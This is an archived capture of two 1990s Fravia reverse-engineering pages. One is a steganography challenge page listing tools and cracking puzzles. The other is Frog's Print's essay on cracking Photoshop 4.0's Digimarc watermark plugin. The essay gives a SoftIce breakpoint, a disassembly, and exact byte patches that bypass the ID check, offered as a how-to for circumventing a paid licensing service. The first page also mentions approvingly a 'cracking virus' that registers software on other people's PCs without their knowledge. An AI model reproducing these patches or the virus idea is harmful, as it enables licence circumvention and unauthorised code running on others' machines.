An easy first step (I will use as 'bait' some secret locations on the web) where you'll have to crack either the algos used
by CONTRABAND (version 9g) for BMPs images or those used by Hide and seek (version 4.1) for GIF's images.

A less easy second step (I will use as 'bait' the location of the 'advanced steganography page'). Here you'll have to crack
the algos used for BMP files by Steganos for windows 95 (version 1.0a).

Ah yes, a last thing: as images I'll use only Tamara de Lempicka's pictures... you may not be excused for not knowing

http://www.instinct.org/fravia/stego.htm (2 of 13) [2/7/2001 3:16:23 PM]


FRAVIA'S STEGANOGRAPHY STARTING PAGE

her paintings and this will remind you that there are other things to reverse in life (like culture, duh :-)

FRAVIA'S STEGANOGRAPHY STARTING PAGE

The word steganography is derived from greek and means "coverted writing", from stegein, to cover... the same root as
in Stegosaur, a quadrupedal, herbivorous ornithiscian dinosauar of Jurassic films and early Cretaceous times, well known
for being quite 'covered' through an armor of triangular bony plates on his back spine.

Steganography is the art (and science) of communicating hiding THE EXISTENCE of communication, in contrast with
cryptography. Ideally, your enemies, or the one you are fighting against, or even your friends, should not even imagine
that there IS a message concealed somewhere.
This very characteristic makes steganography the IDEAL science for hiding messages on the web, which is flooded by
non-significant data. Your whole passwords and everything you need can without any problem be hidden inside three or
four 'fake' pages you'll have uploaded somewhere, with images like 'my sister Sally and his favourite banana fishes' or
whatever.
You will download all fake images from the web (geocities page are a never ending source of incredibly dull lifes and
fotographies :-), you will MODIFY them (the greatest risk for steganography is the confrontration between 'original'
image without concealed message and steganated image with message, of course), and only after these modifications you
will hide your concealed message inside them with one of the many programs that you'll find around.

Basically, using steganography, you can smuggle any file(s) over any communication-line (BBS, network, modem,
diskmail, etc.) in a format which leaves the smuggled data untraceable and unreadable.

Here you have a link to my own copy of a BMP graphic format stegonograpical utility: CONTRABAND (version 9g,
by Hens Zimmerman and Julius Thyssen... their web location is: http://www.GalaxyCorp.com/009 or, alternatively,
http://come.to/us. It's freeware, so there is nothing to crack. In my own copy you'll find also THE COMPLETE
SOURCE CODE (in Borland C++ 4,5) of Contraband, which may be of interest for you.

Here you have a link to my own copy of a GIF graphic format stegonograpical utility: Hide and Seek (version 4.1), by
colin maroney. It's freeware, so there is nothing to crack. In my own copy you'll find also THE COMPLETE SOURCE
CODE (in Borland C++ 3.1) of Hide and Seek, which may be of interest for you. In general I love working with
programs (and onto programs) I have the source code of. In fact, I like it so much that if I really use a program and do
not have the source code I re-create it myself reversing the whole bazaar, or at least the parts I need or fancy to change...
I'm sure therefore that you'll appreciate the presence of the source code for BOTH programs, this will allow you to delve
pretty deep inside all mysteries and vagaries of our applied and advanced stegonography.
You may find A LOT more UNIX source code here

Now try cracking these images! (a first easy step)


I will give you a "bait" in order to pull your reversing capacities, Let's start with a bmp image... you'll have to perform
here an (easy) crack of CONTRABAND (version 9g)

Here you have two zipped bmp(s) images with a famous picture from Tamara de Lempicka: Andromeda. You may
download the original andromeda and the stegonated andromeda.

Both images have been zipped (from bmp format)

http://www.instinct.org/fravia/stego.htm (3 of 13) [2/7/2001 3:16:23 PM]


FRAVIA'S STEGANOGRAPHY STARTING PAGE

Unzip them and have a look.


You wont spot any differences, yet inside the second one I have hidden -using contraband- a small text file: secfiles.txt
which was only 587 bytes long.
Inside secfiles.txt, if you ever reverse it 'out' of the BMP image, you'll be able to find a LIST OF SOME SECRET
LOCATIONS of files on the Web, files that you may find interesting and locations which are not given anywhere else
inside my sites.
I'm sure that you will probably enjoy some of those files... well, you won't get them unless you crack the stegonated bmp
picture above :-)

Now try cracking these images! (a second easy run)


I'll offer another run -this time in gif format- to the reversing capable among my readers: Here you have two copies of
the famous Andromeda by Tamara de Lempicka:

~
the original Andromeda and the 'stegonated' Andromeda

. This time you have the two GIF images above, and the same file as above (587 bytes long) has been hidden inside the
'stegonated' GIF using hide and seek version 4.1.
I used a very short and easy to crack (4 numbers) encryption key (the same used for the 'contraband' bmp(s) above, by
the way), so it's a very easy brute force attack, yet you can crack this in a more 'zen' way, as you'll see, later, when you

http://www.instinct.org/fravia/stego.htm (4 of 13) [2/7/2001 3:16:23 PM]


FRAVIA'S STEGANOGRAPHY STARTING PAGE

arrive to my advanced steganography page.


Inside secfiles.txt, if you ever reverse it 'out' of the GIF image, you'll find a LIST OF SOME SECRET LOCATIONS of
files on the Web, locations which are not given anywhere else inside my sites.

Well... crack this one instead of the previous one, if you prefer :-)

Come on... you should manage it... and anyway I believe you'll find it a worthy approach to steganographycal cracking!
Inside the steganographed images above you'll NOT find as an added bonus the location of my 'advanced steganography
academy' pages, which are NOT linked from my 'common' sites, nor dwell on this server. You'll find some 'secret' files,
tough, as I said, and you'll find it relatively EASY to crack. In order to reach my advanced steganography pages you'll
have to crack the two BMP pictures at the BOTTOM of this page.
See you there!

A little steganographical history


You'll find it on the History of Steganography ad hoc page.

Additional Information
WARNING: The following has been pilfered from a VERY GOOD PAGE:
http://members.iquest.net/~mrmil/stego.html
I'll slowly modify and add links here as time goes by, for the following information you
should not thank me, but Eric's Milbrandt Home Page
(hope Eric wont mind)

A brief History and Discussion (Michael Sattler)


Steganography, a detailed scientific paper covering the history and theory behind steganography. Includes
evaluations of many of the available stego programs.
The Annotated Stego Bibliography with references and links to specific articles in scientific journals.
Mimic functions, another type of steganography.
Copywrite protection of digital images with Highwater's FBI.
Covert Channels in the TCP/IP Protocol Suite__NEW__
A paper concerning methods of encapsulating concealed data within the headers of the TCP/IP protocol suite.
Includes functional Linux compatible source code to take advantage of this interesting area.
Weakness in Watermarking and Steganography Tools __NEW__
Software is now available to alter the extra information stored in images, making it possible to test the
robustness of watermarking technologies as well as to erase stego'd info from images.
Watermarking Weakness - discusses attacks on the current software
Unzign - unmarking software (Win 95 and Linux versions)
Stirmark - unmarking sofware (several versions available)
Other Useful Stego Pages
Neil F. Johnson - Papers, Links, and Software
Bob Tinsley - Steganography and Watermarking
WEPIN Store - Definition and Discussion

http://www.instinct.org/fravia/stego.htm (5 of 13) [2/7/2001 3:16:23 PM]


FRAVIA'S STEGANOGRAPHY STARTING PAGE

Tools for Privacy - Excellent Historical Review


Preston Wilson - Ranks the Stego Programs __NEW__

Steganography Downloads
Windows
Hide and Seek for Win95 (96k) __NEW__
Hide and Seek for Windows 95 is a BMP-based steganography program by Colin Moroney, the author of the dos
versions of Hide and Seek. This version is a considerable step up from his previous efforts. Its
professional-looking interface makes it easy to use. The file wiping options and blowfish header encryption
method are added bonuses. Unfortunately, downloads are ITAR restricted, however, a 40-bit key version is
available for international downloads.
Steganos for Win95 (1085k) __NEW__
Steganos for Windows 95, by Deus Ex Machina Communications, is an easy to use, yet powerful wizard style
program to encrypt files and hide them within BMP, DIB, VOC, WAV, ASCII, and HTML files. A significant
improvement over the DOS version, Steganos for Win95 even contains its own Shredder, a program which
permanently wipes files from your hard disk. There is also a German version. With all of the new features and
added functionality, Steganos for Win95 is a serious contender.
S-Tools4 (272k) (alternative site) (alternative site)
S-Tools v4 is an excellent Win 95/NT based steganography tool that hides files in BMP, GIF, and WAV files. It
will not run with Win 3.1. S-Tools v4 has a number of new improvements over the previous version.
S-Tools3 (283k) (alternative site)
An excellent Windows based steganography tool. Hides files in BMP, GIF, WAV, and unused space on floppies!
Contraband (281k) __NEW__
Windows-based program which embeds and extracts any thinkable file into 24-bit BMP's. Includes source code.
PGPn123 (428k)
PGPn123 is primarily a pgp "windows clipboard" shell program that makes using pgp for Eudora, Agent, or
Pegasus Mail very easy. The latest version includes a steganography option that is implemented after the message
is pgp encrypted. The algorithm is based on the Texto program, making encrypted text files look like something
between mad libs and bad poetry.
Scytale (575k) __NEW__
Scytale is a pgp shell program that has the added feature of hiding data in PCX images. Other strengths of the
program include a built-in wiper and batch mode capabilities.

DOS
JSteg (462k) __NEW__
JSteg, by Derek Upham, is currently the only DOS program available for hiding data within the popular JPG
format. Prior to hiding data in a JPG file, you will need to save that file in the TGA (targa) format. After the data is
stego'd into the image, the resulting output file will be in the JPG format, with all of the compression advantages
that JPG entails. Previously only available for Unix, Preston Wilson and Randall Williams have been kind enough
to compile this DOS version for your stego pleasure. It requires this support file (40k) placed in your path.
Texto (59k) __NEW__

http://www.instinct.org/fravia/stego.htm (6 of 13) [2/7/2001 3:16:23 PM]


FRAVIA'S STEGANOGRAPHY STARTING PAGE

Texto is a text steganography program which transforms uuencoded or PGP ascii-armoured data into English
sentences. Texto text files look like something between mad libs and bad poetry. This is the only DOS
implementation of the Unix source code and is compiled courtesy of Preston Wilson. It requires this support file
(40k) placed in your path. Be sure to visit the online demo page!
GZSteg (346k) __NEW__
GZSteg hides data in GZip compressed files. It was compiled for DOS by Preston Wilson and requires this support
file (40k) placed in your path.
Hide4PGP v1.1 (70k)
Hide4PGP v1.1 by Heinz Repp is a steganographic program that hides data within BMP, WAV, and VOC files. It
is designed to be used with both PGP and Stealth, but also works well as a stand-alone program. Hide4PGP now
comes in both DOS and OS/2 executables. The source is also included and should compile on any platform
without major problems. Also new to this version, you now can use any number of least significant bits (up to
eight) to hide your data.
Steganos v1.4 (12k)
Steganos is a small, easy to use DOS based stego program by Fabian Hansmann that hides data inside BMP, VOC,
WAV and even ASCII files!
Pretty Good Envelope (25k)
Pretty Good Envelope (PGE) is a DOS based program that hides a message in another file by the very simple
method of appending the message to the file, and then appending a 4 byte little endian number which points to the
start of the message. A companion program UNPGE retrieves the message. PGE can be used with graphic files
(GIF and JPG) or any other binary files, including .COM and .EXE files.
Stealth (19k) (alternative site)
Stealth is a simple filter for PGP which strips off all identifying header information to leave only the encrypted
data in a format suitable for steganographic use. That is, the data can be hidden in images, audio files, text files,
CAD files, and/or any other file type that may contain random data, then sent to another person who can retrieve
the data from the file, attach headers, and PGP decrypt it.
Hide and Seek v4.1b (264k) (alternative site)
Data hiding/seeking using GIF image files. These DOS programs take data, usually text, including encrypted text,
and hide it in a GIF file.
Hide and Seek v5.0 (199k) (alternative site)
The latest version of Hide and Seek has been totally redesigned. It is still a DOS based program, but now includes
a user interface (no more command line operations) to hide info in GIF files.
Snow (27k) (alternative site)
Snow is a text-based stego program by Matthew Kwan that conceals messages in text files by appending tabs and
spaces on the end of lines. Tabs and spaces are invisible to most text viewers, hence the steganographic nature of
this encoding scheme. Snow includes a compression function to allow you to stego more information into a given
file and has some basic crypto functions via the ICE algorithm. Check out the homepage for DOS, Java, Java
applet, and source code versions.
FFEncode (12k)
FFEncode is an interesting little DOS program that "hides" a file in a text file by using a "morse code" of NULL
chararcters. Unpack the zip file and type FFENCODE or FFDECODE at the DOS prompt for the simple command
line parameters.
StegoDos (22k) (alternative site)
This DOS based picture encoder consists of a group of programs designed to let you capture a picture, encode a
message in it, and display it so that it may be captured again into another format with a third-party program, then

http://www.instinct.org/fravia/stego.htm (7 of 13) [2/7/2001 3:16:23 PM]


FRAVIA'S STEGANOGRAPHY STARTING PAGE

recapture it and decode the message previously placed inside it.


Wnstorm (84k) (alternative site)
Wnstorm (White Noise Storm) is a cryptography and steganography software package which you can use to
encrypt and hide files within PCX images.

Java
EZStego Java
EZStego Java is from Romana Machado, the author of Stego for Mac. It reportedly has similar steganographic
functions as it's Mac-based predecessor, but is written in the platform independent Java language instead. It is
currently it is being tested in an online version, allowing you to stego images from your web browser! The author
plans to release the java code once the online testing is complete.
Snow (34k) __NEW__
Snow is a text-based stego program by Matther Kwan that conceals messages in text files by appending tabs and
spaces on the end of lines. Tabs and spaces are invisible to most text viewers, hence the steganographic nature of
this encoding scheme. Snow includes a compression function to allow you to stego more information into a given
file and has some basic crypto functions via the ICE algorithm. Be sure to download the Java sources and classes.
Also available as a Java applet.

Macintosh
Stego (266k)
Stego is a steganography tool that enables you to embed data in Macintosh PICT format files, without changing
the appearance or size of the PICT file. Thus, Stego can be used as an "envelope" to hide a previously encrypted
data file in a PICT file, making it much less likely to be detected (available as a binhexed StuffIt archive).
FatMacPGP 2.6.3
FatMacPGP 2.6.3 is the most recent version of MacPGP optimized for PowerMacs. It has a Stealth option which
strips off all identifying header information to leave only the encrypted data in a format suitable for
steganographic use.
Paranoid (80k) (alternative site) (65k)
Paranoid is primarily an encryption program that allows you to encrypt files with IDEA, triple DES, and an
algorithm written by the author Nathan Mariels. It is a steganography program in that it allows you to hide files in
sounds.

Amiga
Textego (41k)
Textego is based on the Texto program by Kevin Maher (with a few added improvements). It is a substitution
cipher that makes text files look like something between mad libs and bad poetry. The source code is available, as
is a homepage covering some of the highlights of the program. Be sure to visit the online demo page!

http://www.instinct.org/fravia/stego.htm (8 of 13) [2/7/2001 3:16:23 PM]


FRAVIA'S STEGANOGRAPHY STARTING PAGE

OS/2
Hide4PGP v1.1 (70k) __NEW__
Hide4PGP v1.1 by Heinz Repp is a steganographic program that hides data within BMP, WAV, and VOC files. It
is designed to be used with both PGP and Stealth, but also works well as a stand-alone program. Hide4PGP now
comes in both DOS and OS/2 executables. The source is also included and should compile on any platform
without major problems. Also new to this version, you now can use any number of least significant bits (up to
eight) to hide your data.
Texto (36k)
Texto is a text steganography program which transforms uuencoded or PGP ascii-armoured data into English
sentences. Texto text files look like something between mad libs and bad poetry, (although they do sometimes
contain deep cosmic truths) and should be close enough to normal english to get past simple-minded mail
scanners. Be sure to visit the online demo page!
Stealth (94k)
Stealth is a simple filter for PGP which strips off all identifying header information to leave only the encrypted
data in a format suitable for steganographic use. That is, the data can be hidden in images, audio files, text files,
CAD files, and/or any other file type that may contain random data, then sent to another person who can retrieve
the data from the file, attach headers, and PGP decrypt it.
Wnstorm (108k)
Wnstorm (White Noise Storm) is a cryptography and steganography software package which you can use to
encrypt and hide files within PCX images.

Source Code
(for the Unix users out there)

Snow - source code here


Hide4PGP - source code here __NEW__
TCP/IP - source code here __NEW__
J4-jpeg - source code here (Alpha release)__NEW__
Hide and Seek - source contained in zip file (dos section above)
Stealth (v1.2) - source code (Site #1) (Site #2)
White Noise Storm - source contained in zip file (dos section above)
Texto - source code (Site #1) (Site #2) for a text-based stego program
MandelSteg - source code (Site #1) (Site #2) for a gif-based stego program
Steganosaurus - source code (Site #1) (Site #2) for another text-based stego program

The secret 'advanced steganography page


This is one of the letters I have received two days after having opened this section:
Fravia+,
I am the author of Steganos for DOS and Windows 95
(http://www.steganography.com)
I think your pages are very useful so I just cracked the picture on

http://www.instinct.org/fravia/stego.htm (9 of 13) [2/7/2001 3:16:23 PM]


FRAVIA'S STEGANOGRAPHY STARTING PAGE

your stego.htm page - all I got are some zipped files, no URLs.
Will there ever be something like 'advanced steganography academy' pages?

Thanks, Fabian fabian(at)demcom(point)com

And Fabian was not the only one (nor the first one :-) to have reacted immediately along these lines... OK, so I lied when
I published the first version of this page, back in 1997... in fact I put only the 'secret files' inside the stegonated
Andromeda picture, therefore you'll find no secret URL for an 'advanced steganography page' there (but I believe you
will enjoy some of those files nevertheless)... mea culpa: I was not quick enough, and pleasingly surprised by your fast
answers!!
The (not at all sad :-) fact is that (many among) my readers are TOO QUICK! You already cracked everything before I
had a chance to prepare 'as it should' my 'advanced steganography page... yet that page begins to be ready now. So
you'll now be able to start roaming using that "coveted" URL.
But, since it was such an easy cracking, with my 'Andromedas' above, I'll push up the ante! You will have to work a little
more (do not complain! You are all here for the sake of cracking, aren't you?)
Here follows ANOTHER couple of a Tamara de Lempicka's picture, original and stegonated, in BMP format (zipped of
course). I have enclosed the URL of my advanced page inside the stegonated one.
This time I have used Fabian's program itself: Steganos for Windows 95, that you'll be able to download at his URL
(given in the letter above), or else here (1085k).
Now crack it and find the 'advanced URL', where you'll find some of the solutions essays I have received (+ReZiDeNt's
lazy brute force approach, zeezee's "source code reversing", Massimiliano's "anticontraband" own utility and a small
essay by Fabian himself, the author of Steganos, plus a very interesting complete essay by Flynn; more recently Gary
Benson's "Unconventional access", with a clever exalination of Hide and Seek weak points)

You'll find BELOW two images (corresponding to the GIF above: portrait of Suzy Solidor,
painted by Tamara in 1933) in zipped BMP format, the one that I have 'stegonated' (through
Fabian's Steganos ver. 1.0a) carries 'inside' the URL of my "advanced steganography" page
(which is under construction, yet already exist :-)
You may download here the original picture by Tamara de Lempicka (9282 bytes),
and here the stegonated one with the hidden URL inside (8914 bytes).

New add_on: 2 January 1998


Advanced steganography URL (and password) have changed! (Password above was too easy)
December_help
Some help information: I have used very small images, a password still with 8 simple (yet no more extremely simple)
alfabetic chars and no numbers nor punctuation signs, the hidden text is only an ASCII url, 36 bytes long (which has the
following form: http://*.htm).
Moreover I have used BMP images with very few colours... something you should NEVER do if you stegonate for true.
Hint: try using yourself the various options of Fabian's Steganos on the original image...
Well, you have your chance, now crack! :-)

New_year's_add_on_help
Should the server given in the hidden URL not answer, (could happen, particularly during holydays) there is another

http://www.instinct.org/fravia/stego.htm (10 of 13) [2/7/2001 3:16:23 PM]


FRAVIA'S STEGANOGRAPHY STARTING PAGE

server of mine with the SAME name_you_have_to_find.htm advanced steganography page, a 'second copy' that is, so
you may as well access it there... once you find the name and have learned how to finger and NSLookup servers, an
important and easy technique which you should master anyway)

Now try cracking these images! (a second easy run)


's-tools version 4.00, by Andy Brown)

I'll offer another run -this time in gif format- to the reversing capable among my readers: Here you have two copies of
another famous picture by Tamara de Lempicka:

the original asleep girl and the 'stegonated' one

This time you have the two GIF images above, and the same text file as above (36 bytes long) has been hidden inside the
'stegonated' GIF using s-tools 4, by Andy Brown may be the best of the tools around. You can download it right HERE
on my site.

I used the same key used for the 'steganos' bmp(s) above, by the way), so it's up to you how to devise an attack, you can
crack this in a more 'zen' way, as you'll see.
Inside adva.txt, if you ever reverse it 'out' of the GIF image, you'll find the URL of the advanced steganography page
OK, OK, so you find this too difficult, yet I want you to be able to crack s-tools algos as well and not only steganos...
so... here once more two SMALL images, in gif format: the same 36 bytes long adva.txt file is hidden inside, the same 8
characters password has been used, the option chosen have been, once more, IDEA and attempt to lower number of
colours... well, I think you should have enough data now... crack!

http://www.instinct.org/fravia/stego.htm (11 of 13) [2/7/2001 3:16:23 PM]


FRAVIA'S STEGANOGRAPHY STARTING PAGE

~
the original asleep girl's hand and the 'stegonated' one.

Well... crack this one instead of the previous one, if you prefer :-)
Of course to reach the advanced page is not very important if you do not contribute to it as well... if you send to me your
own reversing approach, once you have reached that page, I'll publish it -there- with the other ones (see below). Choose
whatever handle you prefer, send anonymously and without a return email address only if you really find you should)

What's on the advanced URL?


As of today 23 September 1998, on my 'advanced steganography URL', you'll find

+ReZiDeNt's lazy brute force approach


zeezee's "source code reversing"
caprine's approach
Massimiliano's "anticontraband" own utility (!)
an essay by Fabian Hansmann (Steganos' Author): Fighting steganography detection
and then:... (of course these links won't work)

Jean Flynn's "A Journey within Steganos"


("How to find the Fravia's Advanced Steganography Page the hard way")
10 February 1998

Caprine's short answer to Jean Flynn


("Let's work together")
12 February 1998

Joe Peschel's Steganos, The Duke of Earl, and The Dancing Men
("Cracking the T_tamra7.bmp")
04 March 1998

Edi's work
("I had to reverse engineer steganos again, on my own")
26 March 1998

Caprine's beautiful story A great dragon known as Steganos


(Steganos Key Relief (Reducing the key search burden))
22 April 1998

Gary Benson's Unconventional Access: My way into the Advanced Steganography pages
(Steganos Key Relief (Reducing the key search burden))
23 September 1998

Here you have, as 'teaser' my own comments to Fabian's essay:


Well, for once I'm hosting an essay of a person that does not use handles nor avatars nor nicknames: Fabian Hansmann,
the Author of Steganos, one of the most interesting Stenographical applications on the scene. His idea of using a benign
virus in order to spread noise is interesting, yet not new (some +masters have already prepared long ago a 'benign'

http://www.instinct.org/fravia/stego.htm (12 of 13) [2/7/2001 3:16:23 PM]


FRAVIA'S STEGANOGRAPHY STARTING PAGE

cracking virus -antibil7.com- that registers Micro$oft's timelimited targets WITHOUT NOTICING the owner of the PCs
where these targets are found :-)
So Fabian's idea can be implemented if needs be, moreover we will of course begin ourselves, during 1998, to 'deepen'
(in a reversing sense) our knowledge of the whole steganographical existing bazaar... and I'm happy that we'll work
hand in hand with steganographical experts (and nette Leute) like Fabian (and maybe other Authors as well as it seems).
Another hint
Here you have as teaser a 'light' version of Jean Flynn's essay (that you will find complete on the advanced page): A
Journey within Steganos, you should be able to figure out the advanced page entrance reading this... that is, if you work
a little :-)

Back to Fravia's Anonymity Academy


homepage links +ORC students' essays counter measures
antismut CGI tricks academy database tools javascript tricks
cocktails search_forms mail_fravia+
Is software reverse engineering legal?

(c) Fravia, 1995, 1996, 1997, 1998. All rights reserved

http://www.instinct.org/fravia/stego.htm (13 of 13) [2/7/2001 3:16:23 PM]


frogdigi

PhotoShop 4.0 / Digimarc


Commercial stupidity - Digimarc downfall

by Frog's Prin+

(06 August 1997, slightly edited by Fravia)

Courtesy of Fravia's page of reverse engineering


Well, Frog'sPrint is right! Read this essay! "The last one of mine for this sommer"...Why?

PhotoShop 4.0 / Digimarc


Part 1 : Adding a FREE Copyright to your own creations
Part 2 : Stupid moneymakers protectionists

by Frog's Print

This essay comes in 2 parts because I first worked on it as an usual essay but,
when trying to work deeper on it (and trying to verify the authors' credibility about
their protection) it soon turned out to be another great exemple of the stupidity
of moneymakers protectionists (BTW: NEVER trust them!)

Part 1: Adding FREE Copyright to your own creations

You probably know PhotoShop 4.0 (or at least have heard about this tool) but may be
DigiMarc
(or WaterMark, PictureMarc...) doesn't mean anything to you.
So, here is a little explaination of the Digimarc Technology from its authors:

Digimarc Technology:
Digimarc Corporation has introduced an exciting, groundbreaking technology that will
affect
markets from Hollywood to the Web, from magazines to multimedia.
Digimarc's digital watermark technology today brings to still images - and soon to
video,
film and audio - the ability to instantly, silently and imperceptibly convey
persistent
information, such as copyright information and ownership.

Digimarc's technology embeds digital data within digital and analog content so that
photographic images, illustrations, graphics, video, movies, and audio can carry
information

http://www.instinct.org/fravia/frogdigi.htm (1 of 7) [2/7/2001 3:16:28 PM]


frogdigi

about themselves wherever they travel.


Digimarc digital watermarks can enable a wide variety of applications: communicating
rights,
proving ownership, locating Web addresses, triggering digital cash meters, tracking
illegal
distribution, or telling potential customers about the creator of a work.

Digimarc's patent-pending digital watermark technology differs from traditional


watermarks
in that it is imperceptible.
A Digimarc watermark carries information such as copyright and owner
identification. Through
this information, anyone with a Digimarc "reader" can obtain details about an image
creator.

Digimarc's PictureMarc product family allows you to embed a digital watermark in


still images.
A Digimarc watermark is durable and survives across file formats (BMP, JPEG, Kodak
Photo CD,
PhotoShop, PICT, PNG, TIFF) and most image transformations, such as copying and
editing.
Although the watermark is embedded digitally within the image, it remains
part of the image
even when printed and can be read later simply by scanning the image into a computer.

Digimarc products work in concert with leading image editing and browsing tools.
Using such tools, an image owner can embed an imperceptible watermark within an
image.
Each time a watermarked image is opened within these tools, the watermark is detected
and
the user informed of the image copyright. Adobe and Corel are the first to bundle
Digimarc
products within their tools, making our watermark technology available to hundreds of
thousands
of the world's top photographers, designers, illustrators, and publishers.

There is a Frequently Asked Questions document, as well as other product and company
information available from Digimarc's Web site at http://www.digimarc.com.

Here are the informations carried inside Watermarked images:


Always present:
-Creator ID : number identifying the creator in the Digimarc
(http://www.digimarc.com)
database (when checking there you'll get his/her name, e-mail, fax
number....).
-Type of Use : display the intented use rights for the image (Restricted/Royalty
Free).
-Adult Content: identify images designated as containing adult content.(this option
does not
limit access to adult-only images yet, but it seems that future
versions of
some applications may limit their display).

Sometimes present:
-Organization ID: link to another profile corresponding to the organization

http://www.instinct.org/fravia/frogdigi.htm (2 of 7) [2/7/2001 3:16:28 PM]


frogdigi

representing
the photo (agency, museum...).
-Image ID : number identifying the image (catalog number...).
-Transaction ID : used to track specific licensing transactions.

Those informations are stored inside the image using a digital code added as noise to
the images lightness channel : the watermark.

To READ the Digimarc you'll need either a specific tool like ReadMarc (FREE soft
available
at the above mentioned URL) or image editors like PhotoShop 4.0 (available everywhere
on
the Net if you know how to search...) or even some Corel tools (C.Draw 7,
C.Photo-Paint 7).
To ADD a Digimark to a image, you'll need PictureMarc that is included in those tools
, except
ReadMarc as it ONLY reads the Digimarks (as its name says).

Good Frog's Print, that sounds nice but what the hell are we supposed to crack??
Well, let's have a final look at the Digimarc info:

Within tools that include PictureMarc, run the "Embed watermark" component of
PictureMarc.
Click the "Personalize" button to open the register dialog. If you are connected to
the Internet, click the "register" button to launch your browser and access the
MarcCentre
registration page. You can also register over the phone by calling one of the
numbers at
the bottom of the registration window, or by going to the Web address listed.

There is a nominal annual fee for subscribing to MarcCentre. For current pricing and
special
offers, visit the registration page, or go to http://www.digimarc.com.

Got it?
As usual, in our $ociety, Creation is assimilated to Money... That means that if you
stop
being a moron or a stupid slave and try to do or create something (without even
thinking
about money) they will charge you for this, with the pretext of "protecting" or
"helping" you and your rights (if you still believe you may have any left).

What can we do?


Crack it so that you can to put your FREE copyright to any of your own creation
(photo,
drawing, home page's logo, painting...) without having to pay for it.

What do we need?
PhotoShop 4.0 (Corel Draw 7 and Corel Photo-Paint 7 could be cracked too but as
I don't have them and don't use them I don't know if the files needed are the same
- See below about that).
If you actually do create (or edit) any image, you already have this tool as it is
the best one (and, again, this 28Mb tool is everywhere on the Net...).

What are the limitations?

http://www.instinct.org/fravia/frogdigi.htm (3 of 7) [2/7/2001 3:16:28 PM]


frogdigi

The only one is about the "Creator ID". As said above, it is a number identifying
the creator in the Digimarc database that can provide you with more infos about the
image creator (name, e-mail, fax number....). Though you'll be able to choose your
own ID number (from 1 to 2147483647) you will NOT be registered in this Database at
Digicom's Web site (since we are going to crack their program you may probably not
be willing to give them your name and fax number!). However, you could verify if your
ID number is not used by anyone else just by checking at Digicom's URL. If it is, you
could change it at any time. Except that, your image will be Watermarked
(copyrighted)
forever (we will include the "Type of Use" (Restricted/Royaltee Free) and the
"Adult Content" too as they must appear).

Let's go:

The file we need to crack is located in the PLUGINS/DIGIMARC directory of your


Photoshop's
folder:
-Digisign.8bf (127.488Kb 30 October 1996)- This file writes the Digimarc inside the
Image.
Though it has a 'strange' extension (.8BF) it is a .DLL.
There are 2 other files:
-Digiread.8bf (read the Digimarc)
-Digimarc.ini (it will contain your ID and password numbers)

(If you use Corel Draw or Photo-Paint 7, you should have a PLUGINS/DIGIMARC directory
with
+/- similar files. If they are different, just follow this essay and you should be
able
to crack them without any problem.-:)

Run Photoshop, open any image (JPG, TIF...) and select FILTER/DIGIMARC/EMBED
WATERWARK.
It displays a dialog box. In the 'Copyright Info' section you can read:
Creator ID: PictureMarc Demo
It is followed by a 'Personalize' button. Press it and another dialog box will
pop-out
asking you to enter your ID number.
With SoftIce, BPX the USER32!GetDlgItemTextA function. Back to PhotoShop, enter an ID
number (let's say '12345678') and press OK. SoftIce will pop here:

* Reference To: USER32.GetDlgItemTextA, Ord:00EDh


:1000179F FF1540330210 Call dword ptr [10023340] ; Get user's input
(12345678)
:100017A5 8D442410 lea eax, dword ptr [esp + 10] ; Store in EAX
:100017A9 6A02 push 00000002
:100017AB 8D4C2412 lea ecx, dword ptr [esp + 12]
:100017AF 50 push eax
:100017B0 51 push ecx

* Reference To: MSVCRT40.strncpy, Ord:044Eh


:100017B1 E860D20000 Call 1000EA16
:100017B6 8D4C2418 lea ecx, dword ptr [esp + 18]
:100017BA 8D54241E lea edx, dword ptr [esp + 1E] ; store in EDX the user's
!
; ; input - the 2 firts digits

http://www.instinct.org/fravia/frogdigi.htm (4 of 7) [2/7/2001 3:16:28 PM]


frogdigi

!
; ; > edx:= '345678'
:100017BE 83C40C add esp, 0000000C
:100017C1 51 push ecx
:100017C2 52 push edx

The following CALL will do some bytes manipulations :


-Checks the lenght of ID stored in EDX :
If ID's_length<6 or ID's_length>10 => XOR Eax
otherwise => Mov Eax, 1
-And a lot of un-interesting things
:100017C3 E858990000 call 1000B120
:100017C8 83C408 add esp, 00000008
:100017CB 85C0 test eax, eax
:100017CD 0F84C2000000 je 10001895 ; jump to Bad_Guy
:100017D3 8D44240C lea eax, dword ptr [esp + 0C] ; OK, Go_Ahead
:100017D7 6A02 push 00000002
:100017D9 8D4C2412 lea ecx, dword ptr [esp + 12]
:100017DD 50 push eax ; eax:='345678'
:100017DE 51 push ecx ; Correct ID number
* Reference To: MSVCRT40.strncmp, Ord:044Dh
:100017DF E82CD20000 Call 1000EA10 ; Compare Both ID's
:100017E4 83C40C add esp, 0000000C
:100017E7 85C0 test eax, eax ; Get the Result
:100017E9 0F85A6000000 jne 10001895 ; Jump to Bad_Guy
:100017EF 8D442412 lea eax, dword ptr [esp + 12] ; OK, Go_Ahead
:100017F3 50 push eax ; eax:='345678'

As you can see, nothing really amazing!


So, let's quickly crack it:

:100017C3 B801000000 mov eax, 1 ; *** HERE ***


:100017C8 83C408 add esp, 00000008
:100017CB 85C0 test eax, eax
:100017CD 0F84C2000000 je 10001895
:100017D3 8D44240C lea eax, dword ptr [esp + 0C]
:100017D7 6A02 push 00000002
:100017D9 8D4C2412 lea ecx, dword ptr [esp + 12]
:100017DD 50 push eax
:100017DE 51 push ecx
* Reference To: MSVCRT40.strncmp, Ord:044Dh
:100017DF E82CD20000 Call 1000EA10
:100017E4 83C40C add esp, 0000000C
:100017E7 33C0 xor eax, eax ; *** HERE ***
:100017E9 0F85A6000000 jne 10001895
:100017EF 8D442412 lea eax, dword ptr [esp + 12]
:100017F3 50 push eax

If you run Photoshop with those changes, and enter the code '12345678'
you'll see that your ID number will be '345678' and if you open Digimarc.ini
you'll get:

[Digisign]
CREATOR_ID=345678
PASSWORD=56932

http://www.instinct.org/fravia/frogdigi.htm (5 of 7) [2/7/2001 3:16:28 PM]


frogdigi

As said above the program deletes the two first digits, so you must enter
at least 3 digits.
If you type less than 8 or more that 12 digits, you're ID number and password
will not be written to Digimarc.ini so you'll have to re-enter it each time
that's because a 'true' ID number's lenght should be within that range) though
your picture will be properly copyrighted with this ID (that's why I cracked
the first Test eax,eax).
That's all we have to crack if we want to add a FREE copyright to any image.

I hope this will help at least those who have spent a lot of money to buy
PhotoShop.
I still cannot understand why such a very expensive tool does not allow us
to copyright our own creations without having to pay again for it.
Strange world...

Part 2 : Stupid moneymakers protectionists

